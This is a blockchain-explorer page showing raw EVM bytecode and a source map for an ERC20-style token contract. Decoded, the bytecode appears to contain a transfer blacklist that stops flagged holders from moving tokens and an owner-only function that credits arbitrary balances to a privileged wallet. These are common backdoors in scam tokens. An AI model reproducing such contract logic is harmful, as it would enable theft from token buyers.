157612100612aae565b5b600061210f84828501612041565b91505092915050565b60006020828403121561212e5761212d612aae565b5b600061213c84828501612056565b91505092915050565b6000806040838503121561215c5761215b612aae565b5b600061216a85828601612041565b925050602061217b85828601612041565b9150509250929050565b60008060006060848603121561219e5761219d612aae565b5b60006121ac86828701612041565b93505060206121bd86828701612041565b92505060406121ce868287016120d6565b9150509250925092565b600080604083850312156121ef576121ee612aae565b5b60006121fd85828601612041565b925050602061220e858286016120d6565b9150509250929050565b60008060006040848603121561223157612230612aae565b5b600061223f868287016120c1565b935050602084013567ffffffffffffffff8111156122605761225f612aa9565b5b61226c8682870161206b565b92509250509250925092565b60006020828403121561228e5761228d612aae565b5b600061229c848285016120d6565b91505092915050565b60006122b183836122cc565b60208301905092915050565b6122c681612864565b82525050565b6122d581612852565b82525050565b6122e481612852565b82525050565b60006122f5826126f8565b6122ff818561271b565b935061230a836126e8565b8060005b8381101561233b57815161232288826122a5565b975061232d8361270e565b92505060018101905061230e565b5085935050505092915050565b61235181612876565b82525050565b612360816128b9565b82525050565b61236f816128cb565b82525050565b600061238082612703565b61238a818561272c565b935061239a818560208601612901565b6123a381612ab3565b840191505092915050565b60006123bb60238361272c565b91506123c682612ac4565b604082019050919050565b60006123de60228361272c565b91506123e982612b13565b604082019050919050565b6000612401601b8361272c565b915061240c82612b62565b602082019050919050565b600061242460218361272c565b915061242f82612b8b565b604082019050919050565b600061244760208361272c565b915061245282612bda565b602082019050919050565b600061246a60258361272c565b915061247582612c03565b604082019050919050565b600061248d60248361272c565b915061249882612c52565b604082019050919050565b6124ac816128a2565b82525050565b6124bb816128ac565b82525050565b60006020820190506124d660008301846122db565b92915050565b60006020820190506124f160008301846122bd565b92915050565b600060408201905061250c60008301856122db565b61251960208301846122db565b9392505050565b60006020820190506125356000830184612348565b92915050565b60006020820190506125506000830184612357565b92915050565b600060208201905081810360008301526125708184612375565b905092915050565b60006020820190508181036000830152612591816123ae565b9050919050565b600060208201905081810360008301526125b1816123d1565b9050919050565b600060208201905081810360008301526125d1816123f4565b9050919050565b600060208201905081810360008301526125f181612417565b9050919050565b600060208201905081810360008301526126118161243a565b9050919050565b600060208201905081810360008301526126318161245d565b9050919050565b6000602082019050818103600083015261265181612480565b9050919050565b600060208201905061266d60008301846124a3565b92915050565b600060a08201905061268860008301886124a3565b6126956020830187612366565b81810360408301526126a781866122ea565b90506126b660608301856122db565b6126c360808301846124a3565b9695505050505050565b60006020820190506126e260008301846124b2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612748826128a2565b9150612753836128a2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612788576127876129af565b5b828201905092915050565b600061279e826128a2565b91506127a9836128a2565b9250826127b9576127b86129de565b5b828204905092915050565b60006127cf826128a2565b91506127da836128a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612813576128126129af565b5b828202905092915050565b6000612829826128a2565b9150612834836128a2565b925082821015612847576128466129af565b5b828203905092915050565b600061285d82612882565b9050919050565b600061286f82612882565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006128c4826128dd565b9050919050565b60006128d6826128a2565b9050919050565b60006128e8826128ef565b9050919050565b60006128fa82612882565b9050919050565b60005b8381101561291f578082015181840152602081019050612904565b8381111561292e576000848401525b50505050565b6000600282049050600182168061294c57607f821691505b602082108114156129605761295f612a0d565b5b50919050565b6000612971826128a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129a4576129a36129af565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612caa81612852565b8114612cb557600080fd5b50565b612cc181612876565b8114612ccc57600080fd5b50565b612cd8816128a2565b8114612ce357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b6bf9e84e7143ca9a851cd6c13259afd8fe66e0651f9193d9866e11c22b28c4264736f6c63430008070033
Deployed Bytecode
0x6080604052600436106101395760003560e01c80638da5cb5b116100ab578063c5d241891161006f578063c5d241891461046f578063c816841b1461049a578063c8607952146104c5578063dd62ed3e146104f0578063e14f870d1461052d578063f2fde38b1461054457610140565b80638da5cb5b14610388578063945fc8c8146103b357806395d89b41146103de578063a9059cbb14610409578063b5f220711461044657610140565b806323b872dd116100fd57806323b872dd1461022c578063313ce567146102695780633345611e146102945780633ecad271146102d157806370a082311461030e578063821a3b5d1461034b57610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d857806321bb35781461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b6040516101679190612556565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906121d8565b6105ff565b6040516101a49190612520565b60405180910390f35b3480156101b957600080fd5b506101c261061d565b6040516101cf919061253b565b60405180910390f35b3480156101e457600080fd5b506101ed610643565b6040516101fa9190612658565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612218565b61064d565b005b34801561023857600080fd5b50610253600480360381019061024e9190612185565b61074c565b6040516102609190612520565b60405180910390f35b34801561027557600080fd5b5061027e610826565b60405161028b91906126cd565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b691906120eb565b61083d565b6040516102c89190612520565b60405180910390f35b3480156102dd57600080fd5b506102f860048036038101906102f391906120eb565b61085d565b6040516103059190612520565b60405180910390f35b34801561031a57600080fd5b50610335600480360381019061033091906120eb565b61087d565b6040516103429190612658565b60405180910390f35b34801561035757600080fd5b50610372600480360381019061036d91906120eb565b6108c6565b60405161037f9190612520565b60405180910390f35b34801561039457600080fd5b5061039d6108e6565b6040516103aa91906124c1565b60405180910390f35b3480156103bf57600080fd5b506103c861090f565b6040516103d591906124dc565b60405180910390f35b3480156103ea57600080fd5b506103f3610935565b6040516104009190612556565b60405180910390f35b34801561041557600080fd5b50610430600480360381019061042b91906121d8565b6109c7565b60405161043d9190612520565b60405180910390f35b34801561045257600080fd5b5061046d60048036038101906104689190612278565b6109e6565b005b34801561047b57600080fd5b50610484610a61565b6040516104919190612658565b60405180910390f35b3480156104a657600080fd5b506104af610a67565b6040516104bc91906124c1565b60405180910390f35b3480156104d157600080fd5b506104da610a8d565b6040516104e79190612658565b60405180910390f35b3480156104fc57600080fd5b5061051760048036038101906105129190612145565b610a93565b6040516105249190612658565b60405180910390f35b34801561053957600080fd5b50610542610b1a565b005b34801561055057600080fd5b5061056b600480360381019061056691906120eb565b610ef2565b005b60606001805461057c90612934565b80601f01602080910402602001604051908101604052809291908181526020018280546105a890612934565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c611044565b848461104c565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b60005b828290508110156106ec57836009600085858581811061067357610672612a3c565b5b905060200201602081019061068891906120eb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106e490612966565b915050610650565b50600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461074757600080fd5b505050565b6000610759848484611217565b5061081b84610766611044565b61081685604051806060016040528060288152602001612ce760289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107cc611044565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118629092919063ffffffff16565b61104c565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606002805461094490612934565b80601f016020809104026020016040519081016040528092919081815260200182805461097090612934565b80156109bd5780601f10610992576101008083540402835291602001916109bd565b820191906000526020600020905b8154815290600101906020018083116109a057829003601f168201915b5050505050905090565b60006109db6109d4611044565b8484611217565b506001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a27611044565b73ffffffffffffffffffffffffffffffffffffffff1614610a4757600080fd5b610a5e606482610a57919061273d565b60046118c6565b50565b600a5481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b22611044565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba6906125f8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0e57600080fd5b505afa158015610c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c469190612118565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ca857600080fd5b505afa158015610cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce09190612118565b6040518363ffffffff1660e01b8152600401610cfd9291906124f7565b602060405180830381600087803b158015610d1757600080fd5b505af1158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f9190612118565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610efa611044565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e906125f8565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b390612638565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561112c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112390612598565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161120a9190612658565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127f90612618565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112df57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612578565b60405180910390fd5b600e60149054906101000a900460ff16156113765761136f84848461199a565b905061185b565b60006113813061087d565b9050600e60149054906101000a900460ff161580156113ea5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113f9576113f881611b6d565b5b61144b83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e7190919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115315750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561153e5783905061175a565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115c1576115ba60646115ac600a5488611ebb90919063ffffffff16565b611f3690919063ffffffff16565b905061163f565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163e5761163b606461162d600b5488611ebb90919063ffffffff16565b611f3690919063ffffffff16565b90505b5b60008111156117435761169a81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8090919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161173a9190612658565b60405180910390a35b6117568186611e7190919063ffffffff16565b9150505b6117ac81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161184c9190612658565b60405180910390a36001925050505b9392505050565b60008383111582906118aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a19190612556565b60405180910390fd5b50600083856118b9919061281e565b9050809150509392505050565b81816000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611932919061273d565b816000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000611a25826040518060400160405280601381526020017f496e756666696369656e742042616c616e636500000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118629092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aba82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8090919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5a9190612658565b60405180910390a3600190509392505050565b6001600e60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ba557611ba4612a6b565b5b604051908082528060200260200182016040528015611bd35781602001602082028036833780820191505090505b5090503081600081518110611beb57611bea612a3c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c8d57600080fd5b505afa158015611ca1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cc59190612118565b81600181518110611cd957611cd8612a3c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d4030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461104c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611da4959493929190612673565b600060405180830381600087803b158015611dbe57600080fd5b505af1925050508015611dcf575060015b611dd857611dd9565b5b60004790506000811115611e5157600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e4f573d6000803e3d6000fd5b505b50506000600e60146101000a81548160ff02191690831515021790555050565b6000611eb383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611862565b905092915050565b600080831415611ece5760009050611f30565b60008284611edc91906127c4565b9050828482611eeb9190612793565b14611f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f22906125d8565b60405180910390fd5b809150505b92915050565b6000611f7883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fde565b905092915050565b6000808284611f8f919061273d565b905083811015611fd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcb906125b8565b60405180910390fd5b8091505092915050565b60008083118290612025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201c9190612556565b60405180910390fd5b50600083856120349190612793565b9050809150509392505050565b60008135905061205081612ca1565b92915050565b60008151905061206581612ca1565b92915050565b60008083601f84011261208157612080612a9f565b5b8235905067ffffffffffffffff81111561209e5761209d612a9a565b5b6020830191508360208202830111156120ba576120b9612aa4565b5b9250929050565b6000813590506120d081612cb8565b92915050565b6000813590506120e581612ccf565b92915050565b60006020828403121561210157612100612aae565b5b600061210f84828501612041565b91505092915050565b60006020828403121561212e5761212d612aae565b5b600061213c84828501612056565b91505092915050565b6000806040838503121561215c5761215b612aae565b5b600061216a85828601612041565b925050602061217b85828601612041565b9150509250929050565b60008060006060848603121561219e5761219d612aae565b5b60006121ac86828701612041565b93505060206121bd86828701612041565b92505060406121ce868287016120d6565b9150509250925092565b600080604083850312156121ef576121ee612aae565b5b60006121fd85828601612041565b925050602061220e858286016120d6565b9150509250929050565b60008060006040848603121561223157612230612aae565b5b600061223f868287016120c1565b935050602084013567ffffffffffffffff8111156122605761225f612aa9565b5b61226c8682870161206b565b92509250509250925092565b60006020828403121561228e5761228d612aae565b5b600061229c848285016120d6565b91505092915050565b60006122b183836122cc565b60208301905092915050565b6122c681612864565b82525050565b6122d581612852565b82525050565b6122e481612852565b82525050565b60006122f5826126f8565b6122ff818561271b565b935061230a836126e8565b8060005b8381101561233b57815161232288826122a5565b975061232d8361270e565b92505060018101905061230e565b5085935050505092915050565b61235181612876565b82525050565b612360816128b9565b82525050565b61236f816128cb565b82525050565b600061238082612703565b61238a818561272c565b935061239a818560208601612901565b6123a381612ab3565b840191505092915050565b60006123bb60238361272c565b91506123c682612ac4565b604082019050919050565b60006123de60228361272c565b91506123e982612b13565b604082019050919050565b6000612401601b8361272c565b915061240c82612b62565b602082019050919050565b600061242460218361272c565b915061242f82612b8b565b604082019050919050565b600061244760208361272c565b915061245282612bda565b602082019050919050565b600061246a60258361272c565b915061247582612c03565b604082019050919050565b600061248d60248361272c565b915061249882612c52565b604082019050919050565b6124ac816128a2565b82525050565b6124bb816128ac565b82525050565b60006020820190506124d660008301846122db565b92915050565b60006020820190506124f160008301846122bd565b92915050565b600060408201905061250c60008301856122db565b61251960208301846122db565b9392505050565b60006020820190506125356000830184612348565b92915050565b60006020820190506125506000830184612357565b92915050565b600060208201905081810360008301526125708184612375565b905092915050565b60006020820190508181036000830152612591816123ae565b9050919050565b600060208201905081810360008301526125b1816123d1565b9050919050565b600060208201905081810360008301526125d1816123f4565b9050919050565b600060208201905081810360008301526125f181612417565b9050919050565b600060208201905081810360008301526126118161243a565b9050919050565b600060208201905081810360008301526126318161245d565b9050919050565b6000602082019050818103600083015261265181612480565b9050919050565b600060208201905061266d60008301846124a3565b92915050565b600060a08201905061268860008301886124a3565b6126956020830187612366565b81810360408301526126a781866122ea565b90506126b660608301856122db565b6126c360808301846124a3565b9695505050505050565b60006020820190506126e260008301846124b2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612748826128a2565b9150612753836128a2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612788576127876129af565b5b828201905092915050565b600061279e826128a2565b91506127a9836128a2565b9250826127b9576127b86129de565b5b828204905092915050565b60006127cf826128a2565b91506127da836128a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612813576128126129af565b5b828202905092915050565b6000612829826128a2565b9150612834836128a2565b925082821015612847576128466129af565b5b828203905092915050565b600061285d82612882565b9050919050565b600061286f82612882565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006128c4826128dd565b9050919050565b60006128d6826128a2565b9050919050565b60006128e8826128ef565b9050919050565b60006128fa82612882565b9050919050565b60005b8381101561291f578082015181840152602081019050612904565b8381111561292e576000848401525b50505050565b6000600282049050600182168061294c57607f821691505b602082108114156129605761295f612a0d565b5b50919050565b6000612971826128a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129a4576129a36129af565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612caa81612852565b8114612cb557600080fd5b50565b612cc181612876565b8114612ccc57600080fd5b50565b612cd8816128a2565b8114612ce357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b6bf9e84e7143ca9a851cd6c13259afd8fe66e0651f9193d9866e11c22b28c4264736f6c63430008070033
Deployed Bytecode Sourcemap
3775:6552:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5158:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6430:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5967:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5637:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6054:220;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8230:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5546:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4142:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4199:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5840:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4251:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1453:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4026:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5745:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7577:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5404:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4301:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4780:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4343:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8553:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7752:468;;;;;;;;;;;;;:::i;:::-;;1659:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5158:83;5195:13;5228:5;5221:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5158:83;:::o;6430:161::-;6505:4;6522:39;6531:12;:10;:12::i;:::-;6545:7;6554:6;6522:8;:39::i;:::-;6579:4;6572:11;;6430:161;;;;:::o;5967:41::-;;;;;;;;;;;;;:::o;5637:100::-;5690:7;5717:12;;5710:19;;5637:100;:::o;6054:220::-;6138:6;6133:92;6150:5;;:12;;6146:1;:16;6133:92;;;6205:8;6184;:18;6193:5;;6199:1;6193:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;6184:18;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;6164:3;;;;;:::i;:::-;;;;6133:92;;;;6257:8;;;;;;;;;;;6243:22;;:10;:22;;;6235:31;;;;;;6054:220;;;:::o;8230:313::-;8328:4;8345:36;8355:6;8363:9;8374:6;8345:9;:36::i;:::-;;8392:121;8401:6;8409:12;:10;:12::i;:::-;8423:89;8461:6;8423:89;;;;;;;;;;;;;;;;;:11;:19;8435:6;8423:19;;;;;;;;;;;;